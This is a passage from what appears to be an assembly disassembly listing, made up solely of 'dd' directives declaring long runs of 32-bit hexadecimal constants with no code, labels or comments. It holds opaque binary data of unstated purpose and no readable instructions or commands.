2D07E769h, 6A41B577h, 7BA434C0h dd 0BD801BFh, 453EE24Eh, 5AD7C425h, 2B40A30Eh, 81409850h dd 0E149C0B5h, 0D276C4FCh, 2585BB1Eh, 51D1D84Ch, 7893005Ch dd 4EB037FFh, 0C41EBC50h, 4A803E84h, 36FEF404h, 66630155h dd 0E040E14Bh, 44A453DEh, 51F313E0h, 409D58F8h, 380FAC1h dd 0B5C13A57h, 8100FBCFh, 39DB4E73h, 0F1D9CAFCh, 77B87980h dd 2F3A34B7h, 6FA7D800h, 29866975h, 8839C015h, 71B8FF1Eh dd 0DD2B2D0Eh, 0D64081ECh, 17C70BF0h, 87FA78h, 0A35F9EF3h dd 0C12B6001h, 915804A9h, 8B48CA5Eh, 0EFF67004h, 0CE3E8FF8h dd 152C04F0h, 0D4206311h, 0C8109765h, 4F2801A7h, 884651Ch dd 8387C70Fh, 58E572DCh, 0F7AC1820h, 265E6601h, 0E685019h dd 1001E741h, 0B05009B1h, 19318A14h, 0A70C4CA0h, 30A80950h dd 1E19EF01h, 39DDA927h, 87906954h, 50CA2217h, 421094CEh dd 0F9CF1460h, 3D044608h, 6BED9FEFh, 39444814h, 0DC8E6E4h dd 1CA153D1h, 98DE4F03h, 84291C0h, 14F7280Ch, 4CA0D9F8h dd 40F8B50Bh, 4BF140A6h, 0D480050h, 6E6F6053h, 73A0296h dd 5DFA37C0h, 8BC5F27h, 34F03BEEh, 0F18FC188h, 175AFC21h dd 3418D604h, 2710F69Bh, 50C4A4B6h, 76C2BCh, 0BE5AF4D5h dd 98E52C4Bh, 68AD551Ah, 9D796041h, 0B83A09C6h, 60201FA2h dd 89976A8Eh, 8C5AF624h, 1EC75030h, 0C58C38Ch, 4900FDA4h dd 0AB403358h, 98C0DCE2h, 18D3744Fh, 609FF049h, 8F18DBE5h dd 0F311EBFFh, 680E006Ch, 1D531061h, 69C321CAh, 0A4A595h dd 9D242A49h, 0CF5C3B43h, 8CC44007h, 5347DFA0h, 0BF596940h dd 0D527019Dh, 265A17DEh, 505441B5h, 9B65F903h, 0C32C8A08h dd 6C7F1CBh, 48BA4025h, 8F089F30h, 0F5007DA0h, 0B462EC86h dd 70E35D30h, 977C041Bh, 0C01E4728h, 5E9BF6B9h, 0B865A300h dd 0F21BD32Fh, 19B51514h, 7EC4A1h, 4D3D3CDCh, 0FD91ABF0h dd 0E8644637h, 0AED03590h, 182A0CF3h, 5589096Ch, 0B8E58901h dd 0E6DB2778h, 0B41FC180h, 0CA6C1BADh, 0D50BB8A8h, 6B6D1815h dd 0CDF07ECh, 45EEA090h, 0F800BAD6h, 1C5584DBh, 0DAB7C37h dd 4B6D1D49h, 0EEE19831h, 7F02EF08h, 0F3EC7C6Ch, 496F8h dd 32FED5Bh, 0AAA555FFh, 100EA228h, 0B0C5DE28h, 0E93FFA30h dd 508FD01Fh, 0E887B068h, 9D3130C7h, 152AFA68h, 400970EBh dd 0A9D3C200h, 6BA4617Ch, 572C9073h, 1067A826h, 0F3C97B8h dd 409C4502h, 9002A862h, 94AE23C7h, 0E6FADDC0h, 0B8A5D7EAh dd 624EE508h, 49015A73h, 0FB00A4F2h, 4005DA57h, 8ACD26ECh dd 0D0EE73C3h, 7B2A982h, 0B5A40194h, 5E5F2321h, 0BD955801h dd 0EAB36ADh, 81F2C440h, 257F92h, 9C01192Eh, 2814A27Fh dd 0E9242C04h, 1486220Dh, 77950168h, 85E4D761h, 0E95C7035h dd 505D4824h, 0D0C0BB0Ch, 0D5941667h, 0B32C40A1h, 657DA473h dd 0E268C49Ah, 4E0CB8E0h, 21E30C3h, 615B8ED8h, 0D04A23E7h dd 5C16D800h, 170ABA0Bh, 8C216EFEh, 406279E2h, 496B43D0h dd 0F32AB8DAh, 36BC0CA8h, 0DE30F538h, 1C5A841Ch, 8A666D44h dd 65CF309Ch, 244A9F7h, 0A15AA88h, 9820544Bh, 4CA41499h dd 0EE206073h, 0A8A8B570h, 0E9F61161h, 0AD959603h, 0C8C1E3F2h dd 31DFA67Eh, 43408488h, 8EA3005Eh, 6D580315h, 8C78C776h dd 29959131h, 26107CF9h, 1C543BDDh, 870A0B88h, 0A4A0490Ah dd 1B7E5822h, 27C27802h, 0A75ACCB5h, 0CDA07548h, 1F21C29h dd 74FFF4D0h, 202A937Dh, 0EA3E6DCCh, 0F3290E02h, 0C7A20FE3h dd 85449784h, 0E2918C80h, 0D62109FDh, 0C406B2A1h, 0E503795Ch dd 422DDBAh, 24717ECDh, 12C844B2h, 86E03257h, 1C72CF03h dd 7F21939h, 88EC209Dh, 0B35C7C00h, 722ACF9h, 0A8012A94h dd 1B96D031h, 0A614899Ah, 158C4772h, 1EC06CE7h, 76FC2AE3h dd 0B1FF09Ah, 0A81EA688h, 0F08FFC0Ah, 0EFE34180h, 6E36BDECh dd 0AC008185h, 9F352058h, 60A76448h, 715C9878h, 1C8F0981h dd 0C819086Ch, 1D62F05Fh, 10E3E230h, 0EE1CBAACh, 0F4D35C04h dd 0C810ED14h, 9843E57Ah, 66A2D8FEh, 0BEE70227h, 0D670F69Fh dd 0A5C84CC3h, 904D135h, 0EE9636C0h, 90C9FE03h, 61F754F3h dd 75BCB4ACh, 968C0020h, 24009914h, 43737721h, 0A6FA1Dh dd 294B98BDh, 10C8D9A5h, 394C001h, 0A19AED36h, 0F8ADD870h dd 0BF27017Eh, 21AB49EBh, 964C6069h, 1CC460C0h, 0A82CC777h dd 3BB57D94h, 0AC80CC15h, 7F3D3626h, 0F0C30737h, 0E08FA5C7h dd 7D87591h, 591154A4h, 0BF450E6Ch, 0F800F17h, 28E4AE86h dd 677C5800h, 23C076B8h dd 0DDFE307Bh, 5A36FD58h, 89E1ECB1h, 9F70D928h, 0CEA76E4h dd 0DCE313A5h, 0B4679FD8h, 80C97C78h, 63ADFF80h, 0AAF70014h dd 335AF32Bh, 7067E510h, 80C01A30h, 3968AF16h, 2B964D71h dd 0FD88002Ch, 59B3F33Ch, 0A2F51014h, 44E70628h, 9A18B48Ch dd 272244B0h, 0A9B4EE6Ch, 1EA90AF6h, 40606925h, 0BA4BFCD9h dd 8A8A8C8h, 91012954h, 616F8645h, 8F3A9050h, 3D4B073h dd 0FBAFBF4Fh, 9132F16Ch, 9095581Ch, 0A8277D7Ch, 0C1646808h dd 7528FE79h, 16F1814Ch, 0F2FA83F7h, 54408440h, 400E6077h dd 0A9A4ACBDh, 0ED81D218h, 87713F91h, 7C189496h, 30862D49h dd 1B39B86Eh, 56393EDBh, 38890069h, 0B9FCF58Ah, 0B8A9C06Fh dd 0A11350FBh, 5D2631C0h, 70F6AFE1h, 22210B46h, 7C8F86D4h dd 39B874E6h, 0E86A9D1Eh, 6446099Fh, 3987090h, 5B67F8F5h dd 103F79DEh, 5C8017CDh, 73218E01h, 0C05322E7h, 94C2A451h dd 0EE0060ACh, 482D1315h, 91A44484h, 0B44C355h, 0EF4E1100h dd 20110E87h, 0B497011Ch, 0A26B642Bh, 0DB688672h, 0C1B9A4h dd 5FF9BFFFh, 0CCD9E0F7h, 68C2A0A4h, 0E618CA2Fh, 38B00338h dd 2196CC34h, 8C969877h, 9F1C5C80h, 0B0A914C4h, 22920A2Ch dd 0B0F889h, 844FC26Dh, 50002495h, 9D1E2D01h, 1F8632CDh dd 666C1362h, 0CB708A40h, 0CB72F040h, 0A391963Fh, 0C7DE87A0h dd 34858B14h, 4B2890FAh, 0C07117DAh, 92405D5Ch, 72F9AC04h dd 54749C0Fh, 3CFB1062h, 59298D86h, 6C9C05E0h, 406FFD0Ch dd 352F4CFEh, 0CA17702h, 8048F0A4h, 6AF66CF5h, 0D8AE6344h dd 6B6F18C9h, 7F352184h, 191C5B00h, 0AE5522h, 95505382h dd 0D8431890h, 7DE1C200h, 51BCFFE4h, 0DA4B608Ah, 0BAA172EEh dd 6A88100h, 0A0B27C99h, 496300C6h, 0D37E4E0Dh, 0CC13EB71h dd 4409D472h, 201C025Dh, 1E1CC87Dh, 51863060h, 0ED0126F1h dd 0EF00F092h, 111EA18Ah, 0B0771A2Fh, 9DCF2E08h, 231DB814h dd 0B117C11Dh, 0BF533D05h, 46EF8439h, 0D8927643h, 3DE2C0BEh dd 1C0BE2F3h, 0CC5BDF55h, 0C121524Fh, 0E927BB00h, 7FD3E85Ah dd 0A05C0940h, 0F44812CBh, 2B00664Eh, 0ED8E136Bh, 36C07EFh dd 2917617Ah, 9DBAE34Bh, 0A10A6C0h, 59804730h, 0CD01D1h dd 0FD160C18h, 0C25EFFA2h, 8E592A03h, 801CEF71h, 608AE010h dd 9E0A69DCh, 0DA00ED3Ah, 837880B2h, 3623932h, 0CFA71989h dd 56910E8Ch, 6920D061h, 982D9780h, 90DDE03Ch, 0E7C600ECh dd 98B57786h, 4AEAF2FBh, 0D8285DB0h, 0E0003419h, 4F9BC6E9h dd 9F682Bh, 7A9A18F2h, 0F9D70237h, 0FCF08AEAh, 0A448EE03h dd 1FB17099h, 24D18038h, 0B490610h, 2900E97Ah, 7BB05DE1h dd 0A0D68095h, 2384993h, 0CCE85B94h, 0FC81E5CEh, 20247B68h dd 0F2585D70h, 39E00A8h, 905FA2E6h, 6E4D348Eh, 0C9BC81A1h dd 1AA4307Fh, 0B2E43F0Bh, 7C2800F2h, 18752A37h, 20657E1Bh dd 0CEE07A91h, 6BC9E024h, 9B422021h, 3BB63074h, 5809E092h dd 91DF5B7h, 0AC4180C0h, 0EE1AFAE6h, 0DFE20489h, 0A0DE28B5h dd 8C945E60h, 0D14FCD60h, 92D9038h, 0DCF6F833h, 2A6EC8A0h dd 0FD543643h, 9A7776C8h, 4F68C101h, 0B6755004h, 60FCCACEh dd 1A325F3h, 0ECC90CA4h, 0D1BEE270h, 9621802Ah, 0E31D24D7h dd 7E93036Bh, 48C2BC4Dh, 0C40091D2h, 119492h, 3350682h dd 9B0428B9h, 7730B1C0h, 0B18CB60h, 69B51C1Ah, 3A1F6CA0h dd 99021075h, 6B3E9ECDh, 61C882CCh, 5A2C46D8h, 7C3C41C3h dd 2919E027h, 0BCFE0118h, 0C28035Ch, 91F69CCh, 567B0ABh dd 0BFD9C440h, 42265C1Ch, 80588C09h, 59DAC0C2h, 5D070068h dd 89F5228Ah, 0A30BB542h, 885C6F3Eh, 215C34D0h, 9A805ACCh dd 6F63203Fh, 1CD1094Ah, 8480B214h, 0AD5B5D2Ch, 0CFF09209h dd 0D8089849h, 0F2A6262Bh, 4208A404h, 9E00A0C3h, 2D2BD0h dd 0E53BC71Fh, 76C4D7E8h, 5CFD5000h, 0E220A56Ch, 0B25F141Dh dd 7810AC1Fh, 80303DC3h, 0F834F7ADh, 0C10B7A2h, 0F6F328C0h dd 1E0A61D1h, 0ACA14CD9h, 9762D764h, 64629C8Fh, 788967AEh dd 0CDB47048h, 0CA109004h, 8EC29352h, 801A410Ch, 5F4E031h dd 0F62D1CE5h, 13CC6E8Eh, 9E0480C6h, 8A00422Eh, 43DFEE6h dd 7698B84Ah, 0A8A3164Bh, 0BEC0428h, 61C1017Dh, 0A865295Dh dd 1D266BE0h, 16F935h, 0A59B01FAh, 754BFECCh, 8DDA0400h dd 3E53DD2Dh, 0A8023AE6h, 21643804h, 6FECC4A0h, 0AC4030D1h dd 0D9388CA0h, 0A3F2882Bh, 0E0C86957h, 15FED19Bh, 6987BB58h dd 32F800C9h, 59953EEh, 7222368Ah, 0BAA03121h, 0DCCAF75Ch dd 9D04184Ch, 319661BBh, 2BF1EAC0h, 352C0344h, 0C0B8091Dh dd 0FC929AB9h, 53004164h, 0FA1EE9D6h, 69B99Bh, 61E0F596h dd 0F0198818h, 72044E00h, 0A8E1CFEAh, 0D50E0074h, 0B962BE4Fh dd 9E004354h, 5879F0F9h, 0BD32BFCBh, 0D1612800h, 8000AB67h dd 0B77B9BF5h, 0A8E39Dh, 0B538687Ch, 3CC51F24h, 9660F21Dh dd 0D5369FC0h, 7BE38629h, 88D11F71h, 0C8B5D877h, 0D5E67824h dd 0C9F44D0Fh, 18BE8C3Eh, 5E7BFDh, 94E8918Ch, 7903BCCBh dd 410D950h, 80135C3Ah, 91EA3DA7h, 57BF8AA5h, 0E5009090h dd 4C0365C1h, 5B72777Eh, 61BF2601h, 1E2E3036h, 291B80BCh dd 1BE0089Bh, 8400408Eh, 6DCEFD15h, 3F3C4ED2h, 0F7804A73h dd 0E4180EA2h, 4500C8E1h, 8380EE95h, 31D05A66h, 68F1624Eh dd 29BAD0D6h, 28AE6D00h, 93155DB0h, 0D7AA0087h, 0BFD0527Bh dd 5648D624h, 1E330080h, 2DBBA8E6h, 7AD5000Fh, 70FCFDD2h dd 240E91C8h, 80C64B3Ah, 5362C3AFh, 0DC96072Dh, 800DB8A8h dd 8FA3474Eh, 0DDAEF524h, 6AB3800Eh, 9C7820A6h, 18E743F0h dd 0BF28CEA5h, 2EBB0E51h, 4B8058BAh, 36BCA971h, 602B6200h dd 0AA379365h, 7494A025h, 9676C4h, 0DD75D05Bh, 5453CA7Ch dd 982C1124h, 0AACC9300h, 383FC862h, 0E68C1096h, 0DA6842E1h dd 70904430h, 0D0738Ch, 0F3BCA726h, 824C6F5Dh, 8DCA2F01h dd 0D94D2A21h, 7C757280h, 6798EBA6h, 0F23A3Eh, 0CF9085D1h dd 0F948DCh, 4EB8680Dh, 38587A9Bh, 0A1D74F00h, 652F49F6h dd 0FDB857h, 0B4276C9Dh, 1015FF67h, 6AA6F400h, 4EC0240Ch dd 0B90901D5h, 0B58E261h, 0F0ED3076h, 6E37430Ch, 0C36D100Dh dd 0F6A88A09h, 997E1000h, 9ABA16A4h, 9C0C03EBh, 0BF15A529h dd 0AE05E5C0h, 0ACB3FC03h, 0E0D03616h, 356BDh, 0EE225ACEh dd 271C5558h, 2EB5B700h, 674DF775h, 0DCDA00F8h, 7672AFBBh dd 1F008BE2h, 0FF895505h, 9D5CB3DEh, 5E77FFD0h, 0A65DB100h dd 4323B446h, 827000B2h, 0CC54669Ah, 0E9002B59h, 458667C1h dd 18BF635Ch, 0B49BAAE4h, 0E2005B8Eh, 0DB034036h, 1FD94B76h dd 8083AC2Fh, 0B30695F6h, 0B707ADEBh, 0E940AEBDh, 3687A6F7h dd 82A73B00h, 7650080h, 0E8D6B3CCh, 0BB001981h, 4CCA3DB7h dd 0E59EEE1h, 0A892701Ah, 7CC036E0h, 0FE00DE0Eh, 8814A586h dd 380CDBD8h, 2F00B531h, 0C7B1ACE7h, 500C341Fh, 0A0325105h dd 34775AAh, 7B4A48Ah, 18D65385h, 0EA982A00h, 5054CC9Dh dd 55D90056h, 0FF6B1BB7h, 0D1008FB8h, 0FE2D4828h, 0B064A3C9h dd 80EF00D5h, 5DC02713h, 74001795h, 71509EE7h, 74C8F43Bh dd 0F29A00E1h, 89B24511h, 480017E8h, 0B304F8EFh, 2CBFBB14h dd 30D250h, 24CEC5BEh, 3B006242h, 9E2C21DBh, 0F7DF32h dd 0B8FE4074h, 0EE46BF4Dh, 4001998h, 1775A2E7h, 124A1A3Dh dd 1E6F4448h, 0ABD628h dd 93A75BB4h, 1C508E43h, 3B00AC9Ah, 0A6502F11h, 0FF2CEB7h dd 95A33FD6h, 0EEE9003Fh, 0E01410FAh, 0DD79BA00h, 0C19E624Dh dd 0FEC848CDh, 28988D0Fh, 8DE50Ah, 0B5BA9994h, 24098C4Eh dd 0C073F5CFh, 0B61A8Eh, 92742E08h, 7145B432h, 0AE78C603h dd 0C0102641h, 13BB2Dh, 32C188DEh, 0EC4F7CD5h, 0ED82F900h dd 95E9EEDDh, 93A61872h, 0B4F8AA64h, 0BC3A4CF8h, 0C1799FFDh dd 40F782C0h, 3C49694h, 9D708B5Bh, 22E0A649h, 0DD24D0A4h dd 6D80B432h, 8E39EB3Fh, 73E6CCh, 0AA389ADEh, 202FA254h dd 69CAE700h, 0C5D5EBDh, 980B0042h, 30DBB365h, 0E02DDC3h dd 7664AD97h, 46AF80CEh, 1DF4C836h, 0E9EA78h, 4A162C9Ch dd 0B5009474h, 0DCE6ACDFh, 0FCA93B8Ch, 0BA67051Fh, 0C083C6ADh dd 6E8F539Ah, 0FDC1AA00h, 9AFB2945h, 71D12665h, 0C0D70000h dd 2ED56306h, 90591700h, 3ED25458h, 5C371D7Eh, 39BB4050h dd 8034B711h, 0A2F60600h, 203C1E07h, 0E6F50F55h, 0F76A8E2Eh dd 0A6EB00C8h, 0ACE919A9h, 35836B12h, 39288C00h, 0FD42A59h dd 0C0984A78h, 9245B064h, 0BE09B20h, 0D3005030h, 0CCC83786h dd 3C4D9ACAh, 1593AF60h, 7C3109A9h, 0CE359C00h, 0DF00935Eh dd 8AF10753h, 1928F79h, 0F4C6CD40h, 0D1333445h, 2CBE6098h dd 0E3D7AF00h, 219BA6A4h, 55B30017h, 4A0DFB02h, 6A004401h dd 0FDEE107Bh, 5CBCEDh, 5F079F95h, 6EC1E336h, 0D8055B78h dd 0E68D2C83h, 4446D000h, 0E0C4FD2h, 28ECF55Ah, 2B534B80h dd 0E03F74AAh, 0CC9F80BBh, 20CA3295h, 52370026h, 6A59D911h dd 33759E41h, 39560F07h, 1FE05B13h, 0B5AF27h, 0F0350999h dd 0F724A33Ch, 6E112D1Ch, 9E527A80h, 0D883E9h, 56D9C444h dd 8428CDC5h, 9C424B01h, 272289AFh, 0B0ED50FCh, 0FCD80061h dd 565E4E54h, 470069FDh, 67AE2146h, 3CB80BCCh, 3D0955D3h dd 0B004D7Fh, 120D7796h, 3CA3B400h, 0CBBA0616h, 0BEAB03C6h dd 9D979A8Ah, 1CDB67A8h, 46BD0F00h, 156BBA9h, 0CED03A28h dd 9CA096h, 0F3C25D31h, 7639AE83h, 803FBF68h, 4FDB303Ah dd 20DE5Fh, 9B53D918h, 0E980A83Bh, 40E75E00h, 4FF617A0h dd 0FB58003Ah, 0E0BAC290h, 10C33BF9h, 0D80BA3CCh, 24419Eh dd 0B268B42Fh, 14937ACh, 9A6AB500h, 48897F36h, 5B98A0DDh dd 653B00E9h, 4207334Bh, 80E24DBAh, 0C7007178h, 0A91F7B30h dd 0B67A7AEh, 0A1E6F831h, 5784F800h, 0B06D91Eh, 0AEB4D5E3h dd 0B565009Ch, 9C98970Ch, 0E800B736h, 5D6BF304h, 74551DA2h dd 85F638E3h, 92983380h, 84900583h, 463D6003h, 0D828F719h dd 308BBDBh, 6D8D205Ah, 0DDF04064h, 21001A3Ah, 0FABE2C42h dd 0F0288Ch, 7B0B657Dh, 934DA95h, 935BDB0Ch, 0F2D71A0Ch dd 0F47F22h, 41784B47h, 0E6E25A7Ch, 0C38BE000h, 2D1470B6h dd 0F6990031h, 19D8DA61h, 0D30F30EEh, 0A01BCFF7h, 0B746B637h dd 895001Dh, 746EC71Eh, 4D0FECFFh, 40248557h, 0D7BA35F2h dd 38E200A0h, 0DC80BF96h, 0C00029DAh, 1DB3600Ah, 72C6607h dd 4865D9Ah, 14E7F028h, 0F900CC87h, 4E27E3E9h, 0FDCA925h dd 0EC16B6BCh, 0A171DA60h, 4500BD82h, 0A19EF9Bh, 59EAAAh dd 0C1A39179h, 0E91BF81Eh, 21005C77h, 3AE46A9Ch, 0F672771h dd 0FEA07B92h, 0BD8BC480h, 730057C7h, 9925C0BBh, 309CECCh dd 491359E4h, 74B37A2Ch, 86BCCDC0h, 4215BE00h, 4093E3D2h dd 38FB00D8h, 7EF409D3h, 1C90D51Ch, 8347193Bh, 0F61562D1h dd 3AA0F188h, 0C636D0h, 0B50D8BCFh, 0D9E829F9h, 0F3001A7Ah dd 9CE42211h, 0E6F1802h, 93FC3B17h, 0A78C160h, 0CA016DB1h dd 450E998h, 0BBF8AB6Ah, 5410C099h, 6F5660E5h, 81C60F09h dd 42F40051h, 101E97h, 0AB22C38h, 33562F30h, 1D7CEA0Ch dd 0F1918F9h, 493980EDh, 0C9FBB8B8h, 378E210Ah, 4D0124C2h dd 0D48643B5h, 5E62D883h, 25C8583Dh, 69181C0Eh, 0B6118B36h dd 0D68500D3h, 18891510h, 0E9011F0Dh, 5D8D52D7h, 0A2FC1A21h dd 48081883h, 0E66460DCh, 6C57600h, 0A8D1FE47h, 0C359007Ch dd 7DF1E340h, 8500911Dh, 58464DABh, 0F0E52920h, 0B81700A6h dd 0B36B2B7Ch, 0C017B75h, 8F730F38h, 0C1FC784Fh, 0C4BD2676h dd 574600E7h, 9AF607E5h, 0E6BECE1Eh, 8EF1478Ch, 3C7521h dd 69195DDBh, 0CB6DD308h, 5A22931Eh, 0BE066A00h, 26BD01h dd 549E6CF2h, 0AF238402h, 5D825200h, 5F4C2A1Eh, 80D70083h dd 0D702EF4h, 811D061Bh, 0FDC06ED2h, 306AF642h, 54A94C04h dd 0B0BAE605h, 90A8508Bh, 9BBC0442h, 54CA5D1Fh, 0B242BE00h dd 1875DFh, 4691CB13h, 19EBE87Ah, 77738D00h, 24DD0AB6h dd 1AC14CDEh, 54550071h, 8EFAE446h, 0A1C7F9Bh, 8039763Fh dd 2C0AD52h, 0B31974h, 0C3E01B14h, 5EACFD87h, 0A1564B24h dd 84E9A400h, 3CA10E2Ch, 99C7755h, 65A98E8Eh, 0B0800809h dd 74E39884h, 1787BE00h, 0F7D98E0Dh, 57ED00F1h, 0CDFE6590h dd 0BE0019CAh, 25C48147h, 0CB0A16h, 0DBE404C1h, 0C5309259h dd 0AD266B04h, 14C0692Ah, 0BF9D0Bh, 684F05CBh, 0D25FB84Dh dd 0DB4A1F16h, 3F9E3C00h, 21BE60h, 150C0633h, 96E3DF3h dd 32E6D0EAh, 0D5C71C00h, 671B2BEAh, 0CDF3008Ch, 38FE8692h dd 9F00CA94h, 41D5D959h, 0CE555Eh, 0E68835FCh, 1815DFD2h dd 5971D700h, 0C7BE2029h, 7D76E86Ah, 0EF220EE4h, 0AF401672h dd 0BB6E12D5h, 0D885ED28h, 62749D00h, 996B0CB4h, 1321026Dh dd 69BF4015h, 0AB7B58C0h, 1F477C0Eh, 2C7A81FEh, 0F8507212h dd 5ED4D90Bh, 0C168E05Bh, 0CE712216h, 8B93A300h, 33069DDh dd 2D27525Dh, 0ECC02B64h, 0F1002158h, 3EED8344h, 3CFBEAh dd 0B7B6F053h, 0B4DF9C6Bh, 0BC5BC800h, 0B8425506h, 0A3731DC5h dd 0C2CF5h, 7D4813FDh, 9A03D170h, 0A452CE32h, 0D126A367h dd 0F840B0FBh, 9D8B2DAh, 0D75584F1h, 406F7091h, 1FDF96B8h dd 9AC8AB00h, 0CF157EA3h, 3DC3D56h, 0E8313380h, 674BED26h dd 0F19CE307h, 0EE966h, 0DE6E9821h, 7A01008Bh, 42B03204h dd 0DF50784Dh, 0E8ECC388h, 0DBF64602h, 0E05B576Eh, 0F1CA7B00h dd 597E8h, 8BF39ADDh, 14688354h, 4F936B01h, 88203374h dd 35DC1FC1h, 28D1001Ch, 4CC75EF1h, 0D34C11D0h, 0F2A80090h dd 8E37FD04h, 86831C53h, 0D5BCBC3Eh, 8571FC80h, 822C0657h dd 27655A00h, 45CC25B4h, 0E86903A0h, 0E2F372EEh, 47AF50FFh dd 35000C1Dh, 0B5832DC5h, 39293CC8h, 0A8819224h, 0F42542AFh dd 5BD884E2h, 7600EB58h, 0DFB52375h, 0CBC97100h, 3C0EB8E1h dd 0D70A392Fh, 8BA65C80h, 0C027F7F0h, 16C1650Ch, 0BBB0FAh dd 79BF6E3Bh, 17C895BEh, 7F456207h, 4480873Eh, 391D7B51h dd 1EA8BA52h, 0B6B302FCh, 68DD384h, 6400DC44h, 13D9FD92h dd 2616851Dh, 73499AEh, 3BA2CE9h, 0CEA83B23h, 2530E5B0h dd 1E0481Dh, 0D6830061h, 2315DB75h, 8C736006h, 243BD90Bh dd 0B718619h, 32010060h, 1427D305h, 0A518B0E1h, 0DBFE0681h dd 0C4E0071h, 0B2BE3989h, 0CB3A3452h, 81F900D3h, 0D6447E8Fh dd 748A0023h, 0F787F3F4h, 0A7005339h, 2638074Ah, 129DECh dd 7D664C46h, 0D5356559h, 0C8017E00h, 0E6D3D2C6h, 1B8E0517h dd 0C05D9DA8h, 0FF33F328h, 0A50173F8h, 0D1A35D3h, 58C1953Fh dd 0FA4FB4FCh, 16CF0072h, 0C9818B53h, 1873554Ch, 0C133C01h dd 82EA997Ah, 5D12F420h, 0CA0084BDh, 1A9EB8E4h, 98001DF4h dd 0F616A814h, 3C1E6CBh dd 0B91F092Bh, 0D6E08577h, 5C1C11ACh, 0C580989Bh, 9F743A4Dh dd 50D89FE1h, 5B83Bh, 240BC819h, 3F89104h, 57369A7Ah, 0FEF8C37Ch dd 0DE00450Ch, 2E32ECB7h, 796A802h, 1581A36Ah, 93630062h dd 7000B289h, 0FDB9924Bh, 24C21Ch, 4F5C933h, 86CD1FAEh dd 8B417A3Ch, 80278D95h, 58893014h, 38D800C2h, 0E09C466h dd 0CCF1FA69h, 787B920Ch, 2914202Ch, 4973C200h, 72071Ch dd 0DF3A462Bh, 65BC9AE7h, 90A9C000h, 0F78B4144h, 2E8107B4h dd 65FFD379h, 102587BAh, 5CF097E8h, 44572703h, 0E029C846h dd 0B60358Eh, 0AB894B4Ch, 0BA00AC0Bh, 6FF9B5Bh, 0B9B54500h dd 4011CEC6h, 0A09A5029h, 0F77B88h, 0E5AECD9Dh, 972341C0h dd 0CA6A4A00h, 1D84543Ch, 6D9B00B9h, 410C467h, 5B005C7Ah dd 0B420BDF9h, 5F6196h, 0A0798E3Bh, 16733619h, 35EBC300h dd 0C4E08CDBh, 0D3C700D8h, 0BE468A1Bh, 8703830Dh, 0B48BB77Bh dd 0B6A980EFh, 339900EAh, 0F7DBC49Ch, 0CD13867Fh, 0B00BCB8h dd 0E27E34A3h, 0FCDC0043h, 27DDF493h, 4500B0C4h, 0C3D66F0Eh dd 12E518h, 8EB60C03h, 0FB6B424Ah, 0C0E0CA26h, 0D32CCD00h dd 537C1Ch, 334DBF65h, 5258E136h, 0C75F4F00h, 0CED90C6h dd 291B00DAh, 0EFEB59F9h, 43E4FB13h, 0CBCCC80Fh, 96D1027Dh dd 4F02C01Bh, 3F800A2h, 0BD253253h, 0D600ABA6h, 0A1C47044h dd 5E4087h, 0AA65F614h, 4C4115EFh, 0BCFA6200h, 432C9773h dd 7E077FFh, 0D1202454h, 0E2B80D8h, 0A000EC3Dh, 28B45B78h dd 717E11CCh, 0F1502C34h, 0ADF00EFh, 5DE3A77Ch, 6949902h dd 70D464D2h, 952D1F38h, 358A80CFh, 0FD1E5BB5h, 743F3E1Bh dd 79AE8890h, 6B2A0013h, 0AF608730h, 0A1E4179Dh, 98985Dh dd 0BA5C7E66h, 26109E19h, 0EE088Dh, 5D7B01C2h, 821FEFB1h dd 0ADAC2CF0h, 140F2712h, 6D0260EAh, 4C7B47A5h, 100B17Ah dd 1A9914A2h, 8C98CB4Eh, 2F600A02h, 5083A338h, 0D89800A4h dd 5C4A8717h, 7CF6ACEEh, 0FA12ABF0h, 0EC9085B3h, 2642B61h dd 0B1789048h, 2BC0BF06h, 1800A687h, 2152C2FBh, 1262F628h dd 89144Dh, 0E711B5C8h, 86B8CD19h, 88092CB8h, 484581D2h dd 0FF030ADCh, 5994DCh, 0C8F421F5h, 0E11F732Dh, 62472A12h dd 41425CC7h, 2390A1CFh, 75D4C24Eh, 0EEE718C9h, 7C367829h dd 0D5BB0B01h, 24FBD271h, 8EECD4h, 99E01C3h, 86F37A16h dd 904B551Eh, 3C9CD940h, 9D597E39h, 881EB870h, 58805753h dd 8D1A954h, 0E75B1CA1h, 4EF10034h, 703B8A92h, 863D1B00h dd 0CEC4366Bh, 30BB3E67h, 6E4D0B80h, 0F77173Ah, 6230607Fh dd 0ED34B087h, 0A832008Ch, 54799631h, 3A39F741h, 0CCA80AFh dd 0D555C585h, 0D0E839h, 4B5D1716h, 0C9A6A2DAh, 7501CC7Fh dd 3E33D558h, 0FCF4E72Eh, 0AABB26CBh, 54981630h, 4421C78h dd 0C161C1EBh, 0BE0B1201h, 23C3040Ch, 4D00DA10h, 979E9CDDh dd 1C7624h, 0DB9DFE0h, 0CC060B22h, 657A54Ch, 9F88CE91h dd 0D1E82228h, 0A88807FEh, 88F088A9h, 97B95204h, 9C44D34Ch dd 28044A03h, 29565E0Ch, 0C8D24490h, 4223EB20h, 7B9308C0h dd 0D0740853h, 88D8B588h, 0FB88AF7Ch, 5038947Ah, 29E59E3Ah dd 75500698h, 0DC502947h, 7920093Ch, 14B4502Fh, 0E076444Ah dd 277151C0h, 1712A33Bh, 0E4FA834h, 0B3A9A2EAh, 0BB584C80h dd 0AE003BCFh, 33B5B726h, 0F94DC4h, 428B94C9h, 0DBA93D3Eh dd 0D90027E4h, 43610641h, 161BC628h, 185EB54h, 0DE5DC3A2h dd 0FD9CC4AFh, 63A7131Fh, 6C6F0B00h, 0F095030Eh, 0AC0000Dh dd 0CCCB32ABh, 930205A3h, 0F1B57AC8h, 58E780F7h, 13274FEAh dd 602C32h, 0B4129BD0h, 0FF001F02h, 26ACA7A5h, 0E2BF9EF3h dd 8FF100D7h, 0EFE08744h, 61007411h, 4E885E56h, 12F91222h dd 60C3D7h, 20C2DD18h, 0AE773D23h, 630C791Dh, 3BF26140h dd 586C481Ch, 2D006DF9h, 0AAD8CCABh, 0FE3E8C83h, 1C348059h dd 5D78A171h, 407A01A2h, 102B2E15h, 0B7CCE811h, 0AE9A3Eh dd 0C737CE87h, 0FD3CF6h, 0EE4F327h, 47C58DD3h, 99730D07h dd 0F710D99Fh, 0B7CA07h, 7CDF3CA7h, 2C8C6E3Bh, 1200B67Ah dd 2429221Eh, 0F546CCh, 683F3105h, 2FB19417h, 0A626CE00h dd 4A2CD856h, 876302C9h, 28C692CDh, 0AE8112E0h, 1460E900h dd 1BEA9B11h, 0B5A2001Dh, 0F669892Fh, 7A0EA526h, 201028EFh dd 0A7189EBDh, 2BF30F44h, 